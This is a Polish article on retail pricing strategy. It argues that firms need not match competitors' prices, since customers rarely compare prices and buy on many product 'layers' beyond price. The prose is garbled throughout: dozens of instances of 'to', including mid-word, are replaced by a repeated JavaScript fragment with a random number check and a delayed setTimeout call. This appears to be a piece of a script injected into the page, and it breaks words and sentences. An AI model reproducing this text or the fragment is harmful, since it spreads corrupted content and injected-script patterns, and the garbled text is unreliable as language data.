Chodzi oczywiście o wyrównywanie cen do konkurencji? I jeśli tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czy należy robić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze, wyrównywać je wszystkie i w 100%? Otóż zwykle nie trzeba. Gdyż tego wyrównywania domagają się przede wszystkim sprzedawcy. A kupujący dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerują niewielkie różnice, najczęściej w ogóle ich nie zauważając. A jeśli zauważają, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zaakceptują, jeśli jest tego jakieś widoczne i korzystne dla nich uzasadnienie. Jak np. wygoda czy dopasowanie do potrzeb.
Wyrównywanie cen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wymysł sprzedawców
Niezwykle dla nich wygodny, gdyż ułatwia im znalezienie uzasadnienia dla słabej sprzedaży.
Różnice cen z łatwością wyjaśniają słabą sprzedaż. Choć rzadko ją powodują. Dlaczego tak jest? Gdyż Koncept Sprzedażowy wcześniej dokonał selekcji klientów, którym odpowiada. I tylko ci go odwiedzają, chyba że przypadkowo. Tak więc o ile konkretny produkt mieści się w ogólnej polityce cenowej, jego konkretna cena nie będzie zaskoczeniem. A więc i będzie wysokie prawdopodobieństwo, że kontakt z firmą skończy się zakupem.
Uwaga. „każdy Koncept ma swoją (naturalną) konwersję”. Każdy Koncept ma swoją naturalną konwersję, co oznacza, że już z założenia nie każdy jego klient kupuje. I nie robi tego za każdym razem. Lepiej się z tym pogodzić (między innymi ustalając ceny), gdyż zmiana zawsze jest trudna, trwa długo i rzadko na trwałe.
Mimo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to za wysokie ceny są częstym wyjaśnieniem słabej sprzedaży. To wygodny argument, zwalnia też z odpowiedzialności, gdyż przerzuca ją na wąską grupę ustalających ceny.
Uwaga. „sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zdarzenie statystyczne”. Tu zawsze liczy się większość. A nie ci, którzy zauważają, narzekają, wychodzą czy reklamują. Ci są wprawdzie łatwi do zidentyfikowania, a także głośni i zauważalni, ale rzadko stanowią większość. O wyniku decyduje milcząca większość, która jest jednak najczęściej pomijana, właśnie dlatego, że jest milcząca.
Uwaga. „każda firma jest „jakaś”. I przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zadawala tylko wybraną część klientów. Nawet tzw. category killers adresują tylko część populacji. Próba zadowolenia wszystkich i dopasowania się do każdego i tak się nie uda, nie tylko dlatego, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo drogie. Ale przede wszystkim dlatego, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co odpowiada jednym, wręcz zniechęca innych. Wszystkich nie da się zadowolić. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oznacza, że nawet jeśli niektórzy narzekają na ceny, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak nie wiadomo, co się stanie, jeśli te ceny obniżyć.
Z klientami jest też tak, że wiadomo, co mówią. Ale nie wiadomo, co tak naprawdę zrobią, jeśli np. obniży się cenę. Nie wiadomo też, o ile trzeba ją obniżyć, żeby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to naprawdę przyniosło skutek.
Klienci wybierają sprzedawcę ze względu na cały zestaw składników. A produkt na podstawie sumy wielu warstw z których się składa.
Cena, ceny i polityka cenowa
To trzy zupełnie różne pojęcia, choć każde zawiera się w kolejnym.
Polityka cenowa. Zacząć trzeba od polityki cenowej, najszerszego pojęcia, w którym powinny zmieścić się pozostałe. To ogólne pozycjonowanie całego Konceptu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jak on się chce przedstawić klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi.
Ceny. Czy bardziej drabinka cenowa. W kolejnej warstwie jest już konkretna kategoria produktów, a w niej Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. I każdy produkt zajmuje swoją pozycję w tej drabince, nawet jeśli o tym nie wie, i nie z tym zamysłem był wprowadzany do oferty.
Uwaga. „Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa”. Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zbiór produktów jednolitych ze względu na najważniejsze kryterium poszukiwania przez klienta. Np. mogą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być czerwone wytrawne wina z Francji, ale już w różnych cenach.
Cena. Tu już dotyczy konkretnego produktu. Ale i ta cena nie jest jednoznaczna. Produkt ma bowiem warstwy, poczynając od jego cech, w tym także tych niematerialnych, marketingowych, takich jak marka. Ale i na tym się nie kończy, znaczenie ma opakowanie, „sąsiedzi z półki”, o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie handlowe w postaci doradztwa czy atmosfery sprzedaży. A w końcu pozycjonowania całego Konceptu.
Uwaga. „produkt ma warstwy”. I ma ich sporo. Każda z tych warstw ma jakieś znaczenie dla sprzedaży, choć różne dla różnych konsumentów. Ale przecież sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to gra statystyczna, więc liczy się łączny wpływ.
Kolejne poziomy ceny. Zaczyna się od polityki cenowej (która kształtuje zarówno ofertę, jak i postrzeganie firmy przez konsumentów). W ramach tej polityki pojawiają się ceny, głównie w postaci Grup Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych. W końcu pozostaje konkretny produkt, który nie pozostaje jednak w próżni, tylko odnosi się zarówno do polityki cenowej jak i swojej Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej.
Czy koniec końców klient wybiera jednak cenę? Chyba jednak nie. On podlega indoktrynacji zarówno polityki cenowej, jak i czarowi oraz manipulacji Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej.
Klienci domagają się uzasadnienia
Nawet zakładając, że klienci faktycznie porównują ceny, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak nie trzeba ich wyrównywać. A klienci tego nie oczekują. Oni oczekują czego innego, mianowicie uzasadnienia. Jeśli Dlaczego tak jest? Gdyż produkt ma wiele warstw, i każda z nich ma znaczenia dla zakupu. A cena stanowi tylko jeden element, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko jednej warstwy.
Uwaga. „klienci zrezygnowali”. To częsty argument pracowników liniowych. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oni przecież mają kontakt z klientem. Więc chyba wiedzą najlepiej? Wygląda dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak, że któryś z klientów pokazuje, że coś gdzieś kupił taniej. Taki tak jest od razu zapamiętywany (gdyż jest zgodny z intuicją). I przy najbliższej okazji wykorzystany jako wytłumaczenie. A dlaczego nie użyć jako wytłumaczenia tych wielu klientów, którzy jednak kupili („każdy Koncept ma przecież swoją konwersję”).
Jakie może być uzasadnienie dla wyższej ceny konkretnego produktu? Może ich być wiele, ale znaczenie mają tylko te, które liczą się dla klienta końcowego.
Część uzasadnienia może pochodzić od producenta (dysponenta marki). Zaś część już od samego sprzedawcy.
Produkt dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rzecz bardzo złożona
Która ma wiele warstw. To nakłada się na pierwszy poziom komplikacji czyli na Koncept Sprzedażowy.
Już na poziomie SKU nic nie jest jednoznaczne. Do cech faktycznych (też trudno porównywalnych) dochodzą zupełnie już nie wymierne cechy marketingowe. A nakładają się na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kolejne warstwy wielowymiarowego produktu.
Cechy faktyczne i cechy marketingowe
Nawet na poziomie cech produkty nie są porównywalne. Zacząć trzeba od tego, że nie są porównywalne nawet cechy faktyczne
Zacząć trzeba od tego, że produkty częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie są porównywalne nawet na poziomie SKU. Mają tylko tę samą funkcję, ale już np. inną markę. Jeśli jednak są nawet w pełni porównywalne, czy wręcz identyczne, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko na poziomie SKU, ewentualnie cech. Ale już drabinka cenowa czyli o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie innymi produktami oraz o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie zewnętrzne są na pewno inne.
Uwaga. „produkt porównywalny czy taki sam?” Żeby wyrównać cenę, trzeba produkt porównać. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie zawsze jest łatwe. Nawet jeśli cechy faktyczne są takie same, zawsze można je inaczej nazwać czy tylko inaczej uwypuklić, np. w materiałach reklamowych. Do tego są już zupełnie nieporównywalne cechy marketingowe. Takie jak marka czy związane z nią atrybuty, np. wiarygodność.
Zakładając jednak nawet pełną porównywalność cech, i tak nie musi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mieć znaczenia dla zakupu. Przede wszystkim dlatego, że klienci nie porównują zawsze cen. A nawet jeśli porównują, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak można nimi manipulować.
Uwaga. „cena powinna być syntetycznym wskaźnikiem cech”. Ponieważ cech jest dużo, część jest nieporównywalna, część niezrozumiała, potrzebny jest więc wspólny mianownik. Takim mianownikiem może i powinna być cena. Ale że integruje wiele rozmaitych cech, da się ją w dużej mierze naciągnąć.
Żaden klient nie pamięta wszystkich cen
Rzadko też je porównuje. A jeśli nawet dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robi, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak jest wiele powodów, dla których cena nie musi być najważniejsza dla podjęcia decyzji o zakupie.
Uwaga. „zmienić zachowania”. Jedno dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to narzekać, a drugie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmienić zachowanie. To prawda ogólna, ale szczególnie odczuwalna przy okazji ceny. Jeśli klienci narzekają, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmiana (obniżka) ceny nie ma sprawić, że przestaną narzekać, ale że zaczną kupować. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zupełnie co innego. Narzekanie wcale nie musi oznaczać, że klienci nie kupują, a obniżka ceny nie musi oznaczać, że zaczną. Z założenia zmiana ceny, która zmienia zachowanie rzadko może być mniejsza niż 20%. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już na tyle dużo, że zupełnie zmienia ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność. I rzadko też się opłaca, nawet jeśli zmieni zachowania jakiejś niewielkiej grupy.
Powody zakupu. Zwykle są dwa, choć zawsze jest potrzeba. Jeden jest racjonalny, drugi impulsowy. Różnią się momentem powstania potrzeby. W zakupie racjonalnym najpierw (dużo wcześniej) pojawia się potrzeba, potem przychodzi czas na jej zaspokojenie. W zakupie impulsowym potrzebę się wywołuje tuż przed zakupem.
Uwaga. „w Internecie jest inaczej”. To dlatego tu sprzedaje się inaczej, co innego i komu innemu. Tu następuje rozdzielenie procesu gromadzenia informacji od procesu wyboru produktu. A ten z kolei proces oddziela się od procesu wyboru kanału sprzedaży.
Potrzeba. Tu liczy się nie tyle cena, ile dopasowanie do tej potrzeby. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ją można rozegrać. Po co bowiem komuś tania bluzka, jeśli nie jest mu w niej do twarzy? Albo telewizor z częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totliwością odświeżania tak dużą, że jego oko i tak jej nie zarejestruje? Lepiej więc poznać dokładne cechy i wybrać coś, co faktycznie ma znaczenie dla klienta. I za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedającemu zapłacić, nawet wyższą cenę.
Impuls. Tu w ogóle cena ma mniejsze znaczenie, już z definicji. Jakieś ma, ale przede wszystkim pod względem jej wysokości (im produkt droższy, tym trudniej o impuls). Ważny jest też charakter produktu, są bowiem tzw. produkty inwestycyjne, które, nawet jeśli są tanie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak kupowane są z namysłem.
Czy Internet dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmienił?
Nie do końca, choć wprowadził do sprzedaży nowe elementy. Przede wszystkim wprowadził porównywalność produktów i ich cech. Dodatkowo rozdzielił proces kupowania od procesu poszukiwania oraz podejmowania decyzji.
Ten sposób podejmowania decyzji fundamentalnie zmienił znaczenie ceny. Można bowiem pominąć wiele warstw Konceptu Sprzedażowego, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to obnaży produkt na poziomie SKU, ewentualnie wraz z cechami. W zamian za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można manipulować cechami kanału sprzedaży, jako osobnym elementem procesu podejmowania decyzji.
Podsumowanie
Większość firm ogarnięta jest obsesją wyrównywania cen do konkurencji na te same lub porównywalne produkty. Szczególnie w dobie Internetu, szczególnie porównywarek wyrównywanie ceny wydaje się być jedynym rozwiązaniem. Tymczasem wcale tak nie jest. Po pierwsze, klient nie zawsze porównuje. A jeśli nawet, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie zawsze wybiera najtańszą ofertę, jest wiele powodów dodatkowych, dla których decyduje się wybrać akurat ten kanał zakupu.
Trzeba też pamiętać, że produkt ma wiele warstw, wśród których jego identyfikacja (SKU jest tylko „jedną z”). Równie ważne jest o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie, zarówno w postaci innych dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszących produktów, jak i o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie w punkcie sprzedaży, atmosfera sprzedaży, doradztwo czy dopasowanie do potrzeb.